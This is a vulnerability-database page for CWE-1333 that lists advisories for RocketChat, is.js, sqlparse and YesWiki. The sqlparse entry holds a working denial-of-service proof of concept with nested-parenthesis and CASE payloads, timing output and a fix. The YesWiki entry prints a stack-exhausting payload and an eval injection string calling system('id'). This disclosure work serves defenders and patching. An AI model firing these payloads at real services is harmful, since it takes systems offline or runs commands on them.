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Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

824 vulnerabilities reference this CWE, most recent first.

GHSA-PRXP-75XX-3CXW

Vulnerability from github – Published: 2025-06-09 21:30 – Updated: 2025-06-09 21:30
VLAI
Details

A vulnerability, which was classified as problematic, has been found in RocketChat up to 7.6.1. This issue affects the function parseMessage of the file /apps/meteor/app/irc/server/servers/RFC2813/parseMessage.js. The manipulation of the argument line leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
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{
  "affected": [],
  "aliases": [
    "CVE-2025-5892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-09T20:15:25Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, has been found in RocketChat up to 7.6.1. This issue affects the function parseMessage of the file /apps/meteor/app/irc/server/servers/RFC2813/parseMessage.js. The manipulation of the argument line leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-prxp-75xx-3cxw",
  "modified": "2025-06-09T21:30:51Z",
  "published": "2025-06-09T21:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5892"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RocketChat/Rocket.Chat/pull/35711"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mmmsssttt404/0fcda3b3e85edafc4eaa6816aa252deb"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.311663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.311663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.585751"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PVRW-G6FX-MCX2

Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2023-07-06 21:46
VLAI
Summary
is_js vulnerable to Regular Expression Denial of Service
Details

is.js is a general-purpose check library. Versions 0.9.0 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). is.js uses a regex copy-pasted from a gist to validate URLs. Trying to validate a malicious string can cause the regex to loop "forever." This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. is.js has no patch for this issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "is_js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-06T21:46:34Z",
    "nvd_published_at": "2022-12-22T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "is.js is a general-purpose check library. Versions 0.9.0 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). is.js uses a regex copy-pasted from a gist to validate URLs. Trying to validate a malicious string can cause the regex to loop \"forever.\" This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. is.js has no patch for this issue.",
  "id": "GHSA-pvrw-g6fx-mcx2",
  "modified": "2023-07-06T21:46:34Z",
  "published": "2023-07-06T19:24:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26302"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arasatasaygin/is.js/issues/320"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/arasatasaygin/is.js"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2020-295-redos-is.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "is_js vulnerable to Regular Expression Denial of Service"
}

GHSA-PWGV-4X5Q-6M9F

Vulnerability from github – Published: 2026-08-17 17:49 – Updated: 2026-08-17 17:49
VLAI
Summary
sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger
Details

Summary

sqlparse ships hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) intended to bound parsing work on attacker-supplied SQL, but the path that reaches those limits is itself O(n*depth) per token-group construction. A ~1-2 KB SQL payload (e.g. SELECT (((((1))))) ... with 500-2000 nesting levels, or a 200-400-level nested CASE WHEN chain) drives the parser to spend multiple seconds of CPU before the depth cap raises SQLParseError. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.

The root cause is TokenList.__init__ calling super().__init__(None, str(self)). TokenList.__str__ flattens the entire subtree on every call, and grouping constructs a new TokenList for every parenthesis / CASE / list group, so a tree of depth d with n total tokens performs O(n*d) flatten work just to materialize the cached value field, which is then never read for grouped nodes (they override __str__).

This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to trigger the caps is itself superlinear in payload size.

Affected components

sqlparse 0.5.5 (latest) and every prior version that ships TokenList.__init__. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (da67ac1, 2025-12-08) added depth + token caps to _group_matching / _group but left the per-node str(self) materialization untouched.

Vulnerable code (file:line)

sqlparse/sql.py#L162 (release 0.5.5) / sqlparse/sql.py#L167 (current master):

class TokenList(Token):
    __slots__ = 'tokens'

    def __init__(self, tokens=None):
        self.tokens = tokens or []
        [setattr(token, 'parent', self) for token in self.tokens]
        super().__init__(None, str(self))   # ← O(subtree) work per group
        self.is_group = True

    def __str__(self):
        return ''.join(token.value for token in self.flatten())

__str__ recurses via flatten() over the entire subtree below self. Every TokenList constructed during grouping (every Parenthesis, Case, IdentifierList, etc.) runs this on its current children, which themselves recursively call flatten(). For grouping that builds a tree of depth d containing n tokens, the construction cost is O(n * d).

The grouping pipeline that triggers it lives at sqlparse/engine/grouping.py#L80 (group_parenthesis) and sqlparse/engine/grouping.py#L84 (group_case). Both call _group_matching which builds nested Parenthesis / Case TokenList instances bottom-up.

Reachable / How input reaches the sink

sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql) are the documented entry points and all flow into engine/filter_stack.py:run → engine/grouping.py:group → group_parenthesis / group_case. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested CASE WHEN, nested subqueries, or nested ARRAY[] literals.

Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the sqlformat.org-style class of tools), Django's format_debug_sql (django/db/backends/base/operations.py) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as sql-metadata (Parser(sql).columns triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).

Proof of concept

Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):

import sqlparse, time, signal

def _h(s, f): raise TimeoutError()
signal.signal(signal.SIGALRM, _h)

def measure(label, sql, fn):
    signal.alarm(30)
    t0 = time.perf_counter()
    status = 'OK'
    try:
        fn(sql)
    except sqlparse.exceptions.SQLParseError:
        status = 'CAP'
    except TimeoutError:
        status = 'TIMEOUT'
    finally:
        signal.alarm(0)
    dt = (time.perf_counter() - t0) * 1000
    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')

# Vector 1: deeply nested parentheses
for n in (200, 500, 1000, 2000):
    sql = 'SELECT ' + '(' * n + '1' + ')' * n
    measure(f'nested-paren n={n}', sql, sqlparse.parse)

# Vector 2: deeply nested CASE WHEN
for n in (100, 200, 400):
    case = '1'
    for i in range(n):
        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)

Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):

  CAP         80.7ms  nested-paren n=200  (408 B)
  CAP       1342.9ms  nested-paren n=500  (1008 B)
  CAP      11206.9ms  nested-paren n=1000  (2008 B)
  TIMEOUT  >10000ms   nested-paren n=2000  (4008 B)
  CAP         83.1ms  CASE-nested n=100  (3405 B)
  CAP        559.6ms  CASE-nested n=200  (6905 B)
  CAP       5012.2ms  CASE-nested n=400  (13905 B)

cProfile attribution (nested-paren n=500, 1008 B input, 3.1 s total):

ncalls   cumtime  filename:lineno(function)
   501    3.133   sqlparse/sql.py:165(__str__)
   501    3.127   {method 'join' of 'str' objects}
252504    3.110   sqlparse/sql.py:166(<genexpr>)
42168504 3.079   sqlparse/sql.py:207(flatten)

42 million flatten() calls for a 1 KB input. The cap raises at depth 100, but TokenList.__init__ ran str(self) once per group construction and each call walked the partial subtree.

End-to-end reproduction (against running consumer)

victim_app.py (a 50-line Flask formatter, the canonical sqlparse consumer pattern):

from flask import Flask, request, jsonify
import sqlparse, time
app = Flask(__name__)

@app.route('/parse', methods=['POST'])
def parse_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(sql)
        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})
    except sqlparse.exceptions.SQLParseError as e:
        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400

@app.route('/format', methods=['POST'])
def format_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')
    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5099, threaded=False)

Driver run (Python 3.9, sqlparse 0.5.5, threaded=False so one worker per request):

=== Baseline (benign payloads) ===
  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms
  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms
  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms

=== Malicious payloads (within default caps) ===
  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False
  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False
  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False
  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False
  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False
  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True

A 2 KB payload (nested-paren n=1000) pins one worker for 10 seconds at 100% CPU. With gunicorn -w N deploying the same app, N concurrent malicious requests exhaust every worker and bring the service down. The cap SQLParseError exception is delivered to the caller, but only after the CPU work is already burnt.

Impact

  • Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).
  • Multi-worker service: attacker sends N parallel requests, exhausts the worker pool.
  • Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).
  • Downstream library impact: sql-metadata.Parser(sql).columns calls sqlparse.parse internally and inherits the exact same hang (nested-paren n=1000 → 11.3 s).

Suggested fix

Replace the eager str(self) materialization with a single-pass concatenation of children's already-cached value fields. The Token.value invariant value == str(self) at construction is preserved (children's value is itself built the same way bottom-up), but the per-node cost drops from O(subtree) to O(len(self.tokens)):

def __init__(self, tokens=None):
    self.tokens = tokens or []
    [setattr(token, 'parent', self) for token in self.tokens]
    # Avoid materializing the full subtree via str(self): concatenating
    # children's already-cached `value` is O(len(tokens)) per group,
    # whereas str(self) recursively flattens the entire subtree which is
    # O(subtree) per node and turns nested grouping into O(n * depth).
    super().__init__(None, ''.join(token.value for token in self.tokens))
    self.is_group = True

Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched 0d24023):

Vector Before fix After fix Speedup
nested-paren n=500 1336 ms 11 ms 121x
nested-paren n=1000 11206 ms 22 ms 509x
nested-paren n=2000 TIMEOUT (>10 s) 45 ms 220x+
CASE-nested n=200 559 ms 25 ms 22x
CASE-nested n=500 TIMEOUT (>10 s) 61 ms 160x+
benign 1 KB SQL 3 ms 3 ms unchanged

End-to-end Flask victim_app re-run against the patched library:

  nested-paren n=1000                        2008B  server=    34.6ms
  nested-paren n=2000                        4008B  server=    67.2ms
  CASE-nested n=400                         13905B  server=    49.5ms
  benign 1 KB SQL                             220B  server=     3.4ms

The IN-tuple format() vector observed at n=1000 (3.8 s for ~10 KB input) is a separate quadratic in the reindent filter (filters/reindent.py:_get_offset → _flatten_up_to_token) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.

Fix PR

A fix PR against the temp private fork, mirroring the diff above with a regression test (test_nested_paren_within_cap_under_50ms), is attached and linked from this advisory.

Credit

Reported by tonghuaroot.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "sqlparse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:49:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.\n\nThe root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`).\n\nThis is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size.\n\n### Affected components\n\n`sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched.\n\n### Vulnerable code (file:line)\n\n[`sqlparse/sql.py#L162`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/sql.py#L162) (release 0.5.5) / [`sqlparse/sql.py#L167`](https://github.com/andialbrecht/sqlparse/blob/c923da9c5a8e8403dd32efc2171b60a177444d43/sqlparse/sql.py#L167) (current `master`):\n\n```python\nclass TokenList(Token):\n    __slots__ = \u0027tokens\u0027\n\n    def __init__(self, tokens=None):\n        self.tokens = tokens or []\n        [setattr(token, \u0027parent\u0027, self) for token in self.tokens]\n        super().__init__(None, str(self))   # \u2190 O(subtree) work per group\n        self.is_group = True\n\n    def __str__(self):\n        return \u0027\u0027.join(token.value for token in self.flatten())\n```\n\n`__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`.\n\nThe grouping pipeline that triggers it lives at [`sqlparse/engine/grouping.py#L80`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L80) (`group_parenthesis`) and [`sqlparse/engine/grouping.py#L84`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L84) (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up.\n\n### Reachable / How input reaches the sink\n\n`sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` \u2192 `engine/grouping.py:group` \u2192 `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals.\n\nReal-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django\u0027s `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).\n\n### Proof of concept\n\nMinimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):\n\n```python\nimport sqlparse, time, signal\n\ndef _h(s, f): raise TimeoutError()\nsignal.signal(signal.SIGALRM, _h)\n\ndef measure(label, sql, fn):\n    signal.alarm(30)\n    t0 = time.perf_counter()\n    status = \u0027OK\u0027\n    try:\n        fn(sql)\n    except sqlparse.exceptions.SQLParseError:\n        status = \u0027CAP\u0027\n    except TimeoutError:\n        status = \u0027TIMEOUT\u0027\n    finally:\n        signal.alarm(0)\n    dt = (time.perf_counter() - t0) * 1000\n    print(f\u0027  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)\u0027)\n\n# Vector 1: deeply nested parentheses\nfor n in (200, 500, 1000, 2000):\n    sql = \u0027SELECT \u0027 + \u0027(\u0027 * n + \u00271\u0027 + \u0027)\u0027 * n\n    measure(f\u0027nested-paren n={n}\u0027, sql, sqlparse.parse)\n\n# Vector 2: deeply nested CASE WHEN\nfor n in (100, 200, 400):\n    case = \u00271\u0027\n    for i in range(n):\n        case = f\u0027CASE WHEN x={i} THEN {case} ELSE NULL END\u0027\n    measure(f\u0027CASE-nested n={n}\u0027, f\u0027SELECT {case} FROM t\u0027, sqlparse.parse)\n```\n\nOutput on the reporter\u0027s machine (Python 3.9, sqlparse 0.5.5, single core):\n\n```\n  CAP         80.7ms  nested-paren n=200  (408 B)\n  CAP       1342.9ms  nested-paren n=500  (1008 B)\n  CAP      11206.9ms  nested-paren n=1000  (2008 B)\n  TIMEOUT  \u003e10000ms   nested-paren n=2000  (4008 B)\n  CAP         83.1ms  CASE-nested n=100  (3405 B)\n  CAP        559.6ms  CASE-nested n=200  (6905 B)\n  CAP       5012.2ms  CASE-nested n=400  (13905 B)\n```\n\n`cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total):\n\n```\nncalls   cumtime  filename:lineno(function)\n   501    3.133   sqlparse/sql.py:165(__str__)\n   501    3.127   {method \u0027join\u0027 of \u0027str\u0027 objects}\n252504    3.110   sqlparse/sql.py:166(\u003cgenexpr\u003e)\n42168504 3.079   sqlparse/sql.py:207(flatten)\n```\n\n42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree.\n\n### End-to-end reproduction (against running consumer)\n\n`victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern):\n\n```python\nfrom flask import Flask, request, jsonify\nimport sqlparse, time\napp = Flask(__name__)\n\n@app.route(\u0027/parse\u0027, methods=[\u0027POST\u0027])\ndef parse_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(sql)\n        return jsonify({\u0027ok\u0027: True, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1)})\n    except sqlparse.exceptions.SQLParseError as e:\n        return jsonify({\u0027ok\u0027: False, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1), \u0027error\u0027: str(e)}), 400\n\n@app.route(\u0027/format\u0027, methods=[\u0027POST\u0027])\ndef format_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    formatted = sqlparse.format(sql, reindent=True, keyword_case=\u0027upper\u0027)\n    return jsonify({\u0027ok\u0027: True, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1), \u0027len\u0027: len(formatted)})\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u0027127.0.0.1\u0027, port=5099, threaded=False)\n```\n\nDriver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request):\n\n```\n=== Baseline (benign payloads) ===\n  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms\n  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms\n  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms\n\n=== Malicious payloads (within default caps) ===\n  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False\n  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False\n  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False\n  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False\n  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False\n  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True\n```\n\nA 2 KB payload (`nested-paren n=1000`) pins one worker for 10 seconds at 100% CPU. With `gunicorn -w N` deploying the same app, `N` concurrent malicious requests exhaust every worker and bring the service down. The cap `SQLParseError` exception is delivered to the caller, but only *after* the CPU work is already burnt.\n\n### Impact\n\n- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 \u2014 uncontrolled resource consumption).\n- Multi-worker service: attacker sends `N` parallel requests, exhausts the worker pool.\n- Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request \u2192 10 seconds CPU).\n- Downstream library impact: `sql-metadata.Parser(sql).columns` calls `sqlparse.parse` internally and inherits the exact same hang (`nested-paren n=1000` \u2192 11.3 s).\n\n### Suggested fix\n\nReplace the eager `str(self)` materialization with a single-pass concatenation of children\u0027s already-cached `value` fields. The `Token.value` invariant `value == str(self) at construction` is preserved (children\u0027s `value` is itself built the same way bottom-up), but the per-node cost drops from `O(subtree)` to `O(len(self.tokens))`:\n\n```python\ndef __init__(self, tokens=None):\n    self.tokens = tokens or []\n    [setattr(token, \u0027parent\u0027, self) for token in self.tokens]\n    # Avoid materializing the full subtree via str(self): concatenating\n    # children\u0027s already-cached `value` is O(len(tokens)) per group,\n    # whereas str(self) recursively flattens the entire subtree which is\n    # O(subtree) per node and turns nested grouping into O(n * depth).\n    super().__init__(None, \u0027\u0027.join(token.value for token in self.tokens))\n    self.is_group = True\n```\n\nMeasured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched `0d24023`):\n\n| Vector | Before fix | After fix | Speedup |\n|---|---|---|---|\n| nested-paren n=500 | 1336 ms | 11 ms | 121x |\n| nested-paren n=1000 | 11206 ms | 22 ms | 509x |\n| nested-paren n=2000 | TIMEOUT (\u003e10 s) | 45 ms | 220x+ |\n| CASE-nested n=200 | 559 ms | 25 ms | 22x |\n| CASE-nested n=500 | TIMEOUT (\u003e10 s) | 61 ms | 160x+ |\n| benign 1 KB SQL | 3 ms | 3 ms | unchanged |\n\nEnd-to-end Flask `victim_app` re-run against the patched library:\n\n```\n  nested-paren n=1000                        2008B  server=    34.6ms\n  nested-paren n=2000                        4008B  server=    67.2ms\n  CASE-nested n=400                         13905B  server=    49.5ms\n  benign 1 KB SQL                             220B  server=     3.4ms\n```\n\nThe IN-tuple `format()` vector observed at `n=1000` (3.8 s for ~10 KB input) is a separate quadratic in the `reindent` filter (`filters/reindent.py:_get_offset` \u2192 `_flatten_up_to_token`) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.\n\n### Fix PR\n\nA fix PR against the temp private fork, mirroring the diff above with a regression test (`test_nested_paren_within_cap_under_50ms`), is attached and linked from this advisory.\n\n### Credit\n\nReported by [tonghuaroot](https://github.com/tonghuaroot).",
  "id": "GHSA-pwgv-4x5q-6m9f",
  "modified": "2026-08-17T17:49:47Z",
  "published": "2026-08-17T17:49:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-pwgv-4x5q-6m9f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/939b129e24c0ad5d51368b1aa72fffcaca76f06f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger"
}

GHSA-PX5M-H76G-P7P8

Vulnerability from github – Published: 2026-07-09 21:03 – Updated: 2026-07-09 21:03
VLAI
Summary
YesWiki has Unsafe eval() in its Formula Calculato, Leading to Remote Code Execution & Denial of Service
Details

Summary

An unsafe execution vulnerability exists in the Bazar form field calculator (CalcField.php) of YesWiki. The application attempts to sanitize user-defined mathematical formulas using a complex recursive regular expression before passing them to the PHP eval() function. This implementation is inherently flawed: it is vulnerable to Regular Expression Denial of Service (ReDoS / Stack Overflow) which can crash the server, and it creates a high-risk architecture where any logic bypass directly results in arbitrary PHP code execution.

Details

Affected Component - File: tools/bazar/fields/CalcField.php - Method: formatValuesBeforeSave($entry) - Vulnerable Mechanism: Combination of a complex recursive regex validation followed by eval().

The code attempts to implement a sandbox for mathematical operations by verifying the formula structure before executing it:

$regexpToCheckIfMathFormula = '/^((' . $number . '|' . $functions . '\s*\((?1)+\)|\((?1)+\))(?:' . $operators . '(?1))?)+$/';

if (preg_match($regexpToCheckIfMathFormula, $formula)) {
    $formula = preg_replace('!pi|π!', 'pi()', $formula);
    try {
        eval("\$value = $formula;");  // VULNERABLE LINE
// ...

Architectural Flaws

PCRE Stack Overflow & ReDoS (The Immediate Exploit):

The regex definition heavily relies on a recursive pattern (?1)+. In PHP's PCRE engine, deeply nested recursive patterns are processed on the system stack. If an attacker inputs a formula with thousands of nested parentheses or repeating groups, the engine will either trigger a pcre.recursion_limit exhaust (returning false or null) or cause a Segmentation Fault, instantly crashing the PHP process (Denial of Service).

The "Validation-Before-Substitution" Trap:

The regex checks the $formula variable after it has tokenized and reassembled the input string. If any underlying function called during tokenization (like testEntryValue or future updates to getEntryValue) returns or leaks an unexpected string format, the string structure changes.

Complete Trust in eval():

Using eval() as a math parser means the application's security perimeter relies entirely on a single regular expression. History shows that complex regex sanitizers for script evaluation are consistently bypassed via edge-case syntaxes, character encoding tricks, or PCRE engine bugs.

PoC

Scenario A: Remote Denial of Service (Server Crash)

An attacker with rights to create or edit a Bazar form adds a Calc field and injects a deeply nested recursive mathematical structure.

Payload:

((((((((((((((((((((((((((((((((((((((((((1+1))))))))))))))))))))))))))))))))))))))))))))

(Multiplied by 2000 to 5000 iterations depending on the server's pcre.recursion_limit and stack configuration).

The PCRE engine runs out of stack memory, leading to an immediate crash of the PHP-FPM worker or Apache process handling the request, rendering the service unavailable.

Scenario B: Logical Bypass to RCE

Because eval() executes raw PHP code, if an attacker successfully fuzzes the recursive pattern or exploits an unpatched vulnerability in the specific PCRE library version installed on the host OS, they can slip a PHP payload through the validation block.

Payload:

abs(1) + system('id')

If a validation bypass occurs, the string evaluates as native PHP, granting the attacker the privileges of the www-data (web server) user, leading to a full host compromise.

Impact

  • Confidentiality: HIGH. Attackers can read sensitive system files (e.g., /etc/passwd, .env configuration files).

  • Integrity: HIGH. Attackers can modify application files, inject backdoors, or alter the database content.

  • Availability: HIGH. Attackers can easily bring down the web service via the ReDoS/Segmentation Fault vector.

Remediation & Mitigation

  • Do not use regular expressions to safe-guard eval(). Instead, replace the execution block with a dedicated, safe Abstract Syntax Tree (AST) math parser or an expression language component that cannot execute system context.
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
